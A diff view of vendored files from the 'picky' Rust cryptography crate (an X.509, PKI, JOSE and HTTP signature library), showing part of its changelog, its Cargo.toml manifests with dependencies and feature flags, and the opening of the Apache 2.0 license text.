||||||
|
See issue [#140](https://github.com/Devolutions/picky-rs/issues/140)
|
||||||
|
|
||||||
|
- Fetch curve info from private_key_algorithm ([#143](https://github.com/Devolutions/picky-rs/issues/143))
|
||||||
|
|
||||||
|
Pick curve info from private_key_algorithm field.
|
||||||
|
|
||||||
|
- Missing `zeroize` on drop of internal `EcdsaKeypair` structure
|
||||||
|
- Fixed invalid padding logic of encrypted SSH keys
|
||||||
|
- Fixed invalid generated SSH EC keys
|
||||||
|
|
||||||
|
### Removed
|
||||||
|
|
||||||
|
- (Breaking) `Jwt::new_encrypted`
|
||||||
|
- (Breaking) `Jwt::new_signed`
|
||||||
|
|
||||||
|
## [6.4.0](https://github.com/Devolutions/picky-rs/compare/picky-6.3.0...picky-6.4.0) – 2021-08-10
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Bump minimum supported Rust version to 1.51
|
||||||
|
- Update `rsa` dependency to `0.5`
|
||||||
|
- Update `picky-asn1` dependency to `0.4`
|
||||||
|
- More robust certification validation (see commit [f5f8cb60e41](https://github.com/Devolutions/picky-rs/commit/f5f8cb60e410ffe49aabace131f7b802e206ced0) for details)
|
||||||
|
|
||||||
|
## [6.3.0](https://github.com/Devolutions/picky-rs/compare/picky-6.2.0...picky-6.3.0) – 2021-05-27
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- PKCS7 implementation behind `pkcs7` feature
|
||||||
|
- `WinCertificate` for authenticode behind `wincert` feature
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Update `aes-gcm` dependency to `0.9`
|
||||||
|
|
||||||
|
## [6.2.0](https://github.com/Devolutions/picky-rs/compare/picky-6.1.1...picky-6.2.0) – 2021-03-04
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- `Csr::generate_with_attributes` to generate CSR with attributes.
|
||||||
|
- `CertificateBuilder::inherit_extensions_from_csr_attributes` to allow certificate to inherit extensions requested by CSR attribute.
|
||||||
|
- Various API additions to `GeneralNames` for improved ergonomics.
|
||||||
|
|
||||||
|
## 6.1.2 – 2021-01-11
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- Fix bad `use`s statements to `serde::export`
|
||||||
|
|
||||||
|
## 6.1.1 – 2020-12-11
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- Fix `HttpSignatureError`'s Display trait implementation (`certificate expired` → `signature expired`).
|
||||||
|
- Fix certificate validity period that MUST be encoded as `UTCTime` through the year 2049 as per RFC 5280.
|
||||||
|
Previously, they were always encoded as `GeneralizedTime`.
|
||||||
|
|
||||||
|
## 6.1.0 – 2020-10-21
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- `CertificateBuilder::serial_number` can be used to provide a custom serial number instead of generating one.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- Bad generation for second exponent (`pq`) when generating PKCS#8 structure.
|
||||||
|
- Serial number was sometimes generated as negative.
|
||||||
|
|
||||||
|
## 6.0.0 – 2020-10-13
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- Implementation of `Jwe` (JSON Web Encryption) RFC.
|
||||||
|
- Email attribute can be added to `DirectoryName` using `add_email` method.
|
||||||
|
- `from_pem_str` method to `Cert`, `Csr`, `PrivateKey` and `PublicKey`.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Separate `SignatureHashType` into two separate enums `HashAlgorithm` and `SignatureAlgorithm`.
|
||||||
|
- `KeyIdGenError` is now wrapping a `HashAlgorithm`.
|
||||||
|
- Update `rsa` dependency.
|
||||||
|
- `HttpSignature` store custom `algorithm` names instead of just ignoring them.
|
||||||
|
- Major `jose` module changes
|
||||||
|
- JOSE header fields are renamed to be identical to RFCs when possible.
|
||||||
|
- `Jwt` is now divided into `Jws` (JSON Web Signature) and `Jwe` (JSON Web Encryption)
|
||||||
|
- `Jws` provides an API to sign any kind of data (binary). JSON claims are part of `Jwt` only.
|
||||||
|
- `Jwe` provides an API to encrypt any kind of data (binary). JSON claims are part of `Jwt` only.
|
||||||
|
- Typo in `CertificateBuilder` API: `valididy` has been renamed to `validity`.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- RSA private key generation ([#53](https://github.com/Devolutions/picky-rs/issues/53)).
|
||||||
|
|
||||||
|
## 5.1.1 – 2020-07-13
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Better `CaChainError::AuthorityKeyIdMismatch` display.
|
||||||
|
|
||||||
|
## 5.1.0 – 2020-07-07
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- Add `BufRead`-based API to read PEM streams: `pem::Pem::read_from` and `pem::read_pem`.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Some internal types are moved to a new `picky_asn1_x509` crate but API is unchanged.
|
||||||
|
- Dependencies clean up.
|
||||||
|
|
||||||
|
## 5.0.0 – 2020-05-06
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- Add `into_public_key` method to `x509::Cert`.
|
||||||
|
- Support for the ["algorithm" http signature parameter](https://tools.ietf.org/html/draft-cavage-http-signatures-12#section-2.1.3).
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- `Jwt` has no generic lifetime parameter anymore.
|
||||||
|
|
||||||
|
### Removed
|
||||||
|
|
||||||
|
- `Cert::verify` and `Cert::verify_chain` methods (previously deprecated)
|
||||||
|
- `HttpRequest` trait impl for `http` crate v0.1
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- Add missing parameters for AES and SHA object identifiers ([668c06e8d](https://github.com/Devolutions/picky-rs/commit/668c06e8d8e8a0caae8bd13cf81c189bbc2e4918))
|
||||||
|
|
||||||
|
## 4.7.0 – 2020-04-16
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- Implement `From<UTCDate>` trait on `DateTime<Utc>`.
|
||||||
|
- Support for leeway in HTTP signature verifier.
|
||||||
|
- Verifier API to X509 Cert.
|
||||||
|
|
||||||
|
### Deprecated
|
||||||
|
|
||||||
|
- `Cert::verify` and `Cert::verify_chain` methods in favor of the `Cert::verifier` method.
|
||||||
+2564
File diff suppressed because it is too large
Load Diff
Vendored
+353
@@ -0,0 +1,353 @@
|
|||||||
|
# THIS FILE IS AUTOMATICALLY GENERATED BY CARGO
|
||||||
|
#
|
||||||
|
# When uploading crates to the registry Cargo will automatically
|
||||||
|
# "normalize" Cargo.toml files for maximal compatibility
|
||||||
|
# with all versions of Cargo and also rewrite `path` dependencies
|
||||||
|
# to registry (e.g., crates.io) dependencies.
|
||||||
|
#
|
||||||
|
# If you are reading this file be aware that the original Cargo.toml
|
||||||
|
# will likely look very different (and much more reasonable).
|
||||||
|
# See Cargo.toml.orig for the original contents.
|
||||||
|
|
||||||
|
[package]
|
||||||
|
edition = "2024"
|
||||||
|
rust-version = "1.85"
|
||||||
|
name = "picky"
|
||||||
|
version = "7.0.0-rc.25"
|
||||||
|
authors = [
|
||||||
|
"Benoît CORTIER <bcortier@devolutions.net>",
|
||||||
|
"Jonathan Trepanier <jtrepanier@devolutions.net>",
|
||||||
|
"François Dubois <fdubois@devolutions.net>",
|
||||||
|
"Richard Markiewicz <rmarkiewicz@devolutions.net>",
|
||||||
|
"Ionut Mihalcea <ionut.mihalcea@arm.com>",
|
||||||
|
"Kim Altintop <kim@monadic.xyz>",
|
||||||
|
"Alexandr Yusuk <aleksandr.yusuk@apriorit.com>",
|
||||||
|
"Flavio Castelli <flavio@castelli.me>",
|
||||||
|
"Xynnn_ <xynnn@linux.alibaba.com>",
|
||||||
|
]
|
||||||
|
build = false
|
||||||
|
include = [
|
||||||
|
"src/**/*",
|
||||||
|
"README.md",
|
||||||
|
"CHANGELOG.md",
|
||||||
|
"LICENSE-*",
|
||||||
|
]
|
||||||
|
autolib = false
|
||||||
|
autobins = false
|
||||||
|
autoexamples = false
|
||||||
|
autotests = false
|
||||||
|
autobenches = false
|
||||||
|
description = "Portable X.509, PKI, JOSE and HTTP signature implementation."
|
||||||
|
readme = "README.md"
|
||||||
|
keywords = [
|
||||||
|
"x509",
|
||||||
|
"jwt",
|
||||||
|
"signature",
|
||||||
|
"jose",
|
||||||
|
"pki",
|
||||||
|
]
|
||||||
|
license = "MIT OR Apache-2.0"
|
||||||
|
repository = "https://github.com/Devolutions/picky-rs"
|
||||||
|
resolver = "2"
|
||||||
|
|
||||||
|
[package.metadata.docs.rs]
|
||||||
|
all-features = true
|
||||||
|
|
||||||
|
[features]
|
||||||
|
chrono_conversion = [
|
||||||
|
"dep:chrono",
|
||||||
|
"picky-asn1/chrono_conversion",
|
||||||
|
]
|
||||||
|
ctl = [
|
||||||
|
"picky-asn1-x509/ctl",
|
||||||
|
"pkcs7",
|
||||||
|
"chrono_conversion",
|
||||||
|
]
|
||||||
|
ctl_http_fetch = [
|
||||||
|
"dep:reqwest",
|
||||||
|
"dep:cab",
|
||||||
|
"ctl",
|
||||||
|
]
|
||||||
|
default = [
|
||||||
|
"x509",
|
||||||
|
"jose",
|
||||||
|
"http_signature",
|
||||||
|
"http_trait_impl",
|
||||||
|
"pkcs12",
|
||||||
|
]
|
||||||
|
http_signature = []
|
||||||
|
http_timestamp = ["dep:reqwest"]
|
||||||
|
http_trait_impl = ["dep:http"]
|
||||||
|
jose = [
|
||||||
|
"dep:serde_json",
|
||||||
|
"dep:aes-gcm",
|
||||||
|
"dep:ctr",
|
||||||
|
"dep:cbc",
|
||||||
|
"dep:aes-kw",
|
||||||
|
"dep:aes",
|
||||||
|
]
|
||||||
|
pkcs12 = [
|
||||||
|
"picky-asn1-x509/pkcs12",
|
||||||
|
"dep:des",
|
||||||
|
"dep:rc2",
|
||||||
|
"dep:cbc",
|
||||||
|
"dep:hmac",
|
||||||
|
"dep:aes",
|
||||||
|
"x509",
|
||||||
|
"dep:pbkdf2",
|
||||||
|
]
|
||||||
|
pkcs7 = [
|
||||||
|
"x509",
|
||||||
|
"picky-asn1-x509/pkcs7",
|
||||||
|
]
|
||||||
|
putty = [
|
||||||
|
"dep:argon2",
|
||||||
|
"dep:hmac",
|
||||||
|
"ssh",
|
||||||
|
"dep:blake2",
|
||||||
|
]
|
||||||
|
ssh = [
|
||||||
|
"dep:byteorder",
|
||||||
|
"dep:aes",
|
||||||
|
"dep:ctr",
|
||||||
|
"dep:cbc",
|
||||||
|
"dep:bcrypt-pbkdf",
|
||||||
|
"dep:lexical-sort",
|
||||||
|
"dep:hmac",
|
||||||
|
"dep:pbkdf2",
|
||||||
|
]
|
||||||
|
time_conversion = [
|
||||||
|
"dep:time",
|
||||||
|
"picky-asn1/time_conversion",
|
||||||
|
]
|
||||||
|
wincert = [
|
||||||
|
"x509",
|
||||||
|
"dep:byteorder",
|
||||||
|
]
|
||||||
|
x509 = []
|
||||||
|
|
||||||
|
[lib]
|
||||||
|
name = "picky"
|
||||||
|
path = "src/lib.rs"
|
||||||
|
|
||||||
|
[dependencies.aes]
|
||||||
|
version = "0.9"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.aes-gcm]
|
||||||
|
version = "^0.11.0-rc.4"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.aes-kw]
|
||||||
|
version = "0.3"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.argon2]
|
||||||
|
version = "^0.6.0-rc.8"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.base64]
|
||||||
|
version = "0.22"
|
||||||
|
|
||||||
|
[dependencies.bcrypt-pbkdf]
|
||||||
|
version = "0.11"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.blake2]
|
||||||
|
version = "^0.11.0-rc.6"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.byteorder]
|
||||||
|
version = "1.5"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.cab]
|
||||||
|
version = "0.6"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.cbc]
|
||||||
|
version = "0.2"
|
||||||
|
features = ["alloc"]
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.chrono]
|
||||||
|
version = "0.4"
|
||||||
|
features = ["clock"]
|
||||||
|
optional = true
|
||||||
|
default-features = false
|
||||||
|
|
||||||
|
[dependencies.crypto-bigint]
|
||||||
|
version = "0.7"
|
||||||
|
|
||||||
|
[dependencies.crypto-common]
|
||||||
|
version = "0.2"
|
||||||
|
|
||||||
|
[dependencies.ctr]
|
||||||
|
version = "0.10"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.curve25519-dalek]
|
||||||
|
version = "^5.0.0-rc.1"
|
||||||
|
|
||||||
|
[dependencies.des]
|
||||||
|
version = "0.9"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.digest]
|
||||||
|
version = "0.11"
|
||||||
|
|
||||||
|
[dependencies.ecdsa]
|
||||||
|
version = "^0.17.0-rc.22"
|
||||||
|
|
||||||
|
[dependencies.ed25519-dalek]
|
||||||
|
version = "^3.0.0-rc.1"
|
||||||
|
features = [
|
||||||
|
"hazmat",
|
||||||
|
"rand_core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[dependencies.hex]
|
||||||
|
version = "0.4"
|
||||||
|
|
||||||
|
[dependencies.hmac]
|
||||||
|
version = "0.13"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.http]
|
||||||
|
version = "1.4"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.inout]
|
||||||
|
version = "0.2.2"
|
||||||
|
|
||||||
|
[dependencies.lexical-sort]
|
||||||
|
version = "0.3"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.md5]
|
||||||
|
version = "0.11"
|
||||||
|
features = ["oid"]
|
||||||
|
package = "md-5"
|
||||||
|
|
||||||
|
[dependencies.p256]
|
||||||
|
version = "^0.14.0-rc.14"
|
||||||
|
features = ["ecdh"]
|
||||||
|
|
||||||
|
[dependencies.p384]
|
||||||
|
version = "^0.14.0-rc.14"
|
||||||
|
features = ["ecdh"]
|
||||||
|
|
||||||
|
[dependencies.p521]
|
||||||
|
version = "^0.14.0-rc.14"
|
||||||
|
features = ["ecdh"]
|
||||||
|
|
||||||
|
[dependencies.pbkdf2]
|
||||||
|
version = "0.13"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.picky-asn1]
|
||||||
|
version = "0.10"
|
||||||
|
features = ["zeroize"]
|
||||||
|
|
||||||
|
[dependencies.picky-asn1-der]
|
||||||
|
version = "0.5"
|
||||||
|
|
||||||
|
[dependencies.picky-asn1-x509]
|
||||||
|
version = "0.15"
|
||||||
|
features = [
|
||||||
|
"legacy",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
|
[dependencies.pkcs1]
|
||||||
|
version = "^0.8.0-rc.4"
|
||||||
|
|
||||||
|
[dependencies.primeorder]
|
||||||
|
version = "^0.14.0-rc.14"
|
||||||
|
|
||||||
|
[dependencies.rand]
|
||||||
|
version = "0.10"
|
||||||
|
|
||||||
|
[dependencies.rand_core]
|
||||||
|
version = "0.10"
|
||||||
|
|
||||||
|
[dependencies.rc2]
|
||||||
|
version = "0.9"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.reqwest]
|
||||||
|
version = "0.13"
|
||||||
|
features = ["blocking"]
|
||||||
|
optional = true
|
||||||
|
default-features = false
|
||||||
|
|
||||||
|
[dependencies.rsa]
|
||||||
|
version = "^0.10.0-rc.18"
|
||||||
|
features = ["std"]
|
||||||
|
|
||||||
|
[dependencies.rustcrypto-ff]
|
||||||
|
version = "^0.14.0-rc.1"
|
||||||
|
|
||||||
|
[dependencies.rustcrypto-ff_derive]
|
||||||
|
version = "^0.14.0-rc.0"
|
||||||
|
|
||||||
|
[dependencies.rustcrypto-group]
|
||||||
|
version = "^0.14.0-rc.1"
|
||||||
|
|
||||||
|
[dependencies.serde]
|
||||||
|
version = "1"
|
||||||
|
features = ["derive"]
|
||||||
|
|
||||||
|
[dependencies.serde_json]
|
||||||
|
version = "1"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.sha1]
|
||||||
|
version = "0.11"
|
||||||
|
features = ["oid"]
|
||||||
|
|
||||||
|
[dependencies.sha2]
|
||||||
|
version = "0.11"
|
||||||
|
features = ["oid"]
|
||||||
|
|
||||||
|
[dependencies.sha3]
|
||||||
|
version = "0.12"
|
||||||
|
features = ["oid"]
|
||||||
|
|
||||||
|
[dependencies.thiserror]
|
||||||
|
version = "2"
|
||||||
|
|
||||||
|
[dependencies.time]
|
||||||
|
version = "0.3"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.x25519-dalek]
|
||||||
|
version = "^3.0.0-rc.1"
|
||||||
|
features = ["static_secrets"]
|
||||||
|
|
||||||
|
[dependencies.zeroize]
|
||||||
|
version = "1.8"
|
||||||
|
|
||||||
|
[dev-dependencies.cfg-if]
|
||||||
|
version = "1.0"
|
||||||
|
|
||||||
|
[dev-dependencies.expect-test]
|
||||||
|
version = "1"
|
||||||
|
|
||||||
|
[dev-dependencies.picky-test-data]
|
||||||
|
version = "0.1"
|
||||||
|
|
||||||
|
[dev-dependencies.pretty_assertions]
|
||||||
|
version = "1.4"
|
||||||
|
|
||||||
|
[dev-dependencies.rand_chacha]
|
||||||
|
version = "0.10"
|
||||||
|
|
||||||
|
[dev-dependencies.ring]
|
||||||
|
version = "0.17"
|
||||||
|
|
||||||
|
[dev-dependencies.rstest]
|
||||||
|
version = "0.26"
|
||||||
|
|
||||||
|
[dev-dependencies.tempfile]
|
||||||
|
version = "3.22"
|
||||||
+128
@@ -0,0 +1,128 @@
|
|||||||
|
[package]
|
||||||
|
name = "picky"
|
||||||
|
version = "7.0.0-rc.25"
|
||||||
|
authors = [
|
||||||
|
"Benoît CORTIER <bcortier@devolutions.net>",
|
||||||
|
"Jonathan Trepanier <jtrepanier@devolutions.net>",
|
||||||
|
"François Dubois <fdubois@devolutions.net>",
|
||||||
|
"Richard Markiewicz <rmarkiewicz@devolutions.net>",
|
||||||
|
"Ionut Mihalcea <ionut.mihalcea@arm.com>",
|
||||||
|
"Kim Altintop <kim@monadic.xyz>",
|
||||||
|
"Alexandr Yusuk <aleksandr.yusuk@apriorit.com>",
|
||||||
|
"Flavio Castelli <flavio@castelli.me>",
|
||||||
|
"Xynnn_ <xynnn@linux.alibaba.com>",
|
||||||
|
]
|
||||||
|
description = "Portable X.509, PKI, JOSE and HTTP signature implementation."
|
||||||
|
keywords = ["x509", "jwt", "signature", "jose", "pki"]
|
||||||
|
edition = "2024"
|
||||||
|
rust-version = "1.85"
|
||||||
|
license = "MIT OR Apache-2.0"
|
||||||
|
repository = "https://github.com/Devolutions/picky-rs"
|
||||||
|
include = ["src/**/*", "README.md", "CHANGELOG.md", "LICENSE-*"]
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
picky-asn1 = { version = "0.10", path = "../picky-asn1", features = ["zeroize"] }
|
||||||
|
picky-asn1-der = { version = "0.5", path = "../picky-asn1-der" }
|
||||||
|
picky-asn1-x509 = { version = "0.15", path = "../picky-asn1-x509", features = ["legacy", "zeroize"] }
|
||||||
|
serde = { version = "1", features = ["derive"] }
|
||||||
|
base64 = "0.22"
|
||||||
|
thiserror = "2"
|
||||||
|
byteorder = { version = "1.5", optional = true }
|
||||||
|
chrono = { version = "0.4", default-features = false, features = ["clock"], optional = true }
|
||||||
|
time = { version = "0.3", optional = true }
|
||||||
|
serde_json = { version = "1", optional = true }
|
||||||
|
hex = "0.4"
|
||||||
|
http = { version = "1.4", optional = true }
|
||||||
|
cab = { version = "0.6", optional = true }
|
||||||
|
lexical-sort = { version = "0.3", optional = true }
|
||||||
|
zeroize = "1.8"
|
||||||
|
|
||||||
|
# FIXME: either use ureq, or even better: do not require this kind of dependency at all to let user decide which lib to use.
|
||||||
|
# (currently users should *really* not forget to use `spawn_blocking` when calling associated functions from async context)
|
||||||
|
reqwest = { version = "0.13", default-features = false, features = ["blocking"], optional = true }
|
||||||
|
|
||||||
|
# /!\ ===== cryptography dependencies ===== /!\
|
||||||
|
# These should be updated as soon as possible.
|
||||||
|
# /!\ ===================================== /!\
|
||||||
|
|
||||||
|
rand = "0.10"
|
||||||
|
rand_core = "0.10"
|
||||||
|
crypto-bigint = "0.7"
|
||||||
|
|
||||||
|
ed25519-dalek = { version = "=3.0.0-rc.1", features = ["hazmat", "rand_core"] }
|
||||||
|
x25519-dalek = { version = "=3.0.0-rc.1", features = ["static_secrets"] }
|
||||||
|
|
||||||
|
p256 = { version = "=0.14.0-rc.14", features = ["ecdh"] }
|
||||||
|
p384 = { version = "=0.14.0-rc.14", features = ["ecdh"] }
|
||||||
|
p521 = { version = "=0.14.0-rc.14", features = ["ecdh"] }
|
||||||
|
|
||||||
|
rsa = { version = "=0.10.0-rc.18", features = ["std"] }
|
||||||
|
|
||||||
|
digest = "0.11"
|
||||||
|
md5 = { package = "md-5", version = "0.11", features = ["oid"] }
|
||||||
|
sha1 = { version = "0.11", features = ["oid"] }
|
||||||
|
sha2 = { version = "0.11", features = ["oid"] }
|
||||||
|
sha3 = { version = "0.12", features = ["oid"] }
|
||||||
|
|
||||||
|
aes-gcm = { version = "=0.11.0-rc.4", optional = true }
|
||||||
|
aes = { version = "0.9", optional = true }
|
||||||
|
aes-kw = { version = "0.3", optional = true }
|
||||||
|
argon2 = { version = "=0.6.0-rc.8", optional = true }
|
||||||
|
ctr = { version = "0.10", optional = true }
|
||||||
|
cbc = { version = "0.2", optional = true, features = ["alloc"] }
|
||||||
|
bcrypt-pbkdf = { version = "0.11", optional = true }
|
||||||
|
des = { version = "0.9", optional = true }
|
||||||
|
rc2 = { version = "0.9", optional = true }
|
||||||
|
pbkdf2 = { version = "0.13", optional = true }
|
||||||
|
hmac = { version = "0.13", optional = true }
|
||||||
|
crypto-common = "0.2"
|
||||||
|
inout = "0.2.2"
|
||||||
|
|
||||||
|
# Pin transitive dependencies versions.
|
||||||
|
# TODO: Remove when stable versions will be released.
|
||||||
|
blake2 = { version = "=0.11.0-rc.6", optional = true }
|
||||||
|
ecdsa = "=0.17.0-rc.22"
|
||||||
|
pkcs1 = "=0.8.0-rc.4"
|
||||||
|
primeorder = "=0.14.0-rc.14"
|
||||||
|
rustcrypto-ff = "=0.14.0-rc.1"
|
||||||
|
rustcrypto-ff_derive = "=0.14.0-rc.0"
|
||||||
|
rustcrypto-group = "=0.14.0-rc.1"
|
||||||
|
curve25519-dalek = "=5.0.0-rc.1"
|
||||||
|
|
||||||
|
[dev-dependencies]
|
||||||
|
pretty_assertions = "1.4"
|
||||||
|
cfg-if = "1.0"
|
||||||
|
rand_chacha = "0.10"
|
||||||
|
ring = "0.17"
|
||||||
|
rstest = "0.26"
|
||||||
|
expect-test = "1"
|
||||||
|
tempfile = "3.22"
|
||||||
|
picky-test-data = { path = "../picky-test-data", version = "0.1" }
|
||||||
|
|
||||||
|
[features]
|
||||||
|
default = ["x509", "jose", "http_signature", "http_trait_impl", "pkcs12"]
|
||||||
|
|
||||||
|
# main features
|
||||||
|
x509 = []
|
||||||
|
jose = ["dep:serde_json", "dep:aes-gcm", "dep:ctr", "dep:cbc", "dep:aes-kw", "dep:aes"]
|
||||||
|
http_signature = []
|
||||||
|
pkcs12 = ["picky-asn1-x509/pkcs12", "dep:des", "dep:rc2", "dep:cbc", "dep:hmac", "dep:aes", "x509", "dep:pbkdf2"]
|
||||||
|
|
||||||
|
# secondary features
|
||||||
|
pkcs7 = ["x509", "picky-asn1-x509/pkcs7"]
|
||||||
|
http_timestamp = ["dep:reqwest"]
|
||||||
|
ctl = ["picky-asn1-x509/ctl", "pkcs7", "chrono_conversion"]
|
||||||
|
ctl_http_fetch = ["dep:reqwest", "dep:cab", "ctl"]
|
||||||
|
wincert = ["x509", "dep:byteorder"]
|
||||||
|
ssh = ["dep:byteorder", "dep:aes", "dep:ctr", "dep:cbc", "dep:bcrypt-pbkdf", "dep:lexical-sort", "dep:hmac", "dep:pbkdf2"]
|
||||||
|
http_trait_impl = ["dep:http"]
|
||||||
|
chrono_conversion = ["dep:chrono", "picky-asn1/chrono_conversion"]
|
||||||
|
time_conversion = ["dep:time", "picky-asn1/time_conversion"]
|
||||||
|
putty = ["dep:argon2", "dep:hmac", "ssh",
|
||||||
|
# Transitive dependencies
|
||||||
|
"dep:blake2"
|
||||||
|
]
|
||||||
|
|
||||||
|
[package.metadata.docs.rs]
|
||||||
|
# Enable all features when building documentation for docs.rs
|
||||||
|
all-features = true
|
||||||
Vendored
+202
@@ -0,0 +1,202 @@
|
|||||||
|
|
||||||
|
Apache License
|
||||||
|
Version 2.0, January 2004
|
||||||
|
http://www.apache.org/licenses/
|
||||||
|
|
||||||
|
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||||
|
|
||||||
|
1. Definitions.
|
||||||
|
|
||||||
|
"License" shall mean the terms and conditions for use, reproduction,
|
||||||
|
and distribution as defined by Sections 1 through 9 of this document.
|
||||||
|
|
||||||
|
"Licensor" shall mean the copyright owner or entity authorized by
|
||||||
|
the copyright owner that is granting the License.
|
||||||
|
|
||||||
|
"Legal Entity" shall mean the union of the acting entity and all
|
||||||
|
other entities that control, are controlled by, or are under common
|
||||||
|
control with that entity. For the purposes of this definition,
|
||||||
|
"control" means (i) the power, direct or indirect, to cause the
|
||||||
|
direction or management of such entity, whether by contract or
|
||||||
|
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||||
|
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||||
|
|
||||||
|
"You" (or "Your") shall mean an individual or Legal Entity
|
||||||
|
exercising permissions granted by this License.
|
||||||
|
|
||||||
|
"Source" form shall mean the preferred form for making modifications,
|
||||||
|
including but not limited to software source code, documentation
|
||||||
|
source, and configuration files.
|
||||||
|
|
||||||
|
"Object" form shall mean any form resulting from mechanical
|
||||||
|
transformation or translation of a Source form, including but
|
||||||
|
not limited to compiled object code, generated documentation,
|
||||||
|
and conversions to other media types.
|
||||||
|
|
||||||
|
"Work" shall mean the work of authorship, whether in Source or
|
||||||
|
Object form, made available under the License, as indicated by a
|
||||||
|
copyright notice that is included in or attached to the work
|
||||||
|
(an example is provided in the Appendix below).
|
||||||
|
|
||||||
|
"Derivative Works" shall mean any work, whether in Source or Object
|
||||||
|
form, that is based on (or derived from) the Work and for which the
|
||||||
|
editorial revisions, annotations, elaborations, or other modifications
|
||||||
|
represent, as a whole, an original work of authorship. For the purposes
|
||||||
|
of this License, Derivative Works shall not include works that remain
|
||||||
|
separable from, or merely link (or bind by name) to the interfaces of,
|
||||||
|
the Work and Derivative Works thereof.
|
||||||
|
|
||||||
|
"Contribution" shall mean any work of authorship, including
|
||||||
|
the original version of the Work and any modifications or additions
|
||||||
|
to that Work or Derivative Works thereof, that is intentionally
|
||||||
|
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||||
|
or by an individual or Legal Entity authorized to submit on behalf of
|
||||||
|
the copyright owner. For the purposes of this definition, "submitted"
|
||||||
|
means any form of electronic, verbal, or written communication sent
|
||||||
|
to the Licensor or its representatives, including but not limited to
|
||||||
|
communication on electronic mailing lists, source code control systems,
|
||||||
|
and issue tracking systems that are managed by, or on behalf of, the
|
||||||
|
Licensor for the purpose of discussing and improving the Work, but
|
||||||
|
excluding communication that is conspicuously marked or otherwise
|
||||||
|
designated in writing by the copyright owner as "Not a Contribution."
|
||||||
|
|
||||||
|
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||||
|
on behalf of whom a Contribution has been received by Licensor and
|
||||||
|
subsequently incorporated within the Work.
|
||||||
|
|
||||||
|
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||||
|
this License, each Contributor hereby grants to You a perpetual,
|
||||||
|
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||||
|
copyright license to reproduce, prepare Derivative Works of,
|
||||||
|
publicly display, publicly perform, sublicense, and distribute the
|
||||||
|
Work and such Derivative Works in Source or Object form.
|
||||||
|
|
||||||
|
3. Grant of Patent License. Subject to the terms and conditions of
|
||||||
|
this License, each Contributor hereby grants to You a perpetual,
|
||||||
|
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||||
|
(except as stated in this section) patent license to make, have made,
|
||||||
|
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||||
|
where such license applies only to those patent claims licensable
|
||||||
|
by such Contributor that are necessarily infringed by their
|
||||||
|
Contribution(s) alone or by combination of their Contribution(s)
|
||||||
|
with the Work to which such Contribution(s) was submitted. If You
|
||||||
|
institute patent litigation against any entity (including a
|
||||||
|
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||||
|
or a Contribution incorporated within the Work constitutes direct
|
||||||
|
or contributory patent infringement, then any patent licenses
|
||||||
|
granted to You under this License for that Work shall terminate
|
||||||
|
as of the date such litigation is filed.
|
||||||
|
|
||||||
|
4. Redistribution. You may reproduce and distribute copies of the
|
||||||
|
Work or Derivative Works thereof in any medium, with or without
|
||||||
|
modifications, and in Source or Object form, provided that You
|
||||||
|
meet the following conditions:
|
||||||
|
|
||||||
|
(a) You must give any other recipients of the Work or
|
||||||
|
Derivative Works a copy of this License; and
|
||||||
|
|
||||||
|
(b) You must cause any modified files to carry prominent notices
|
||||||
|
stating that You changed the files; and
|
||||||
|
|
||||||
|
(c) You must retain, in the Source form of any Derivative Works
|
||||||
|
that You distribute, all copyright, patent, trademark, and
|
||||||
|
attribution notices from the Source form of the Work,
|
||||||
|
excluding those notices that do not pertain to any part of
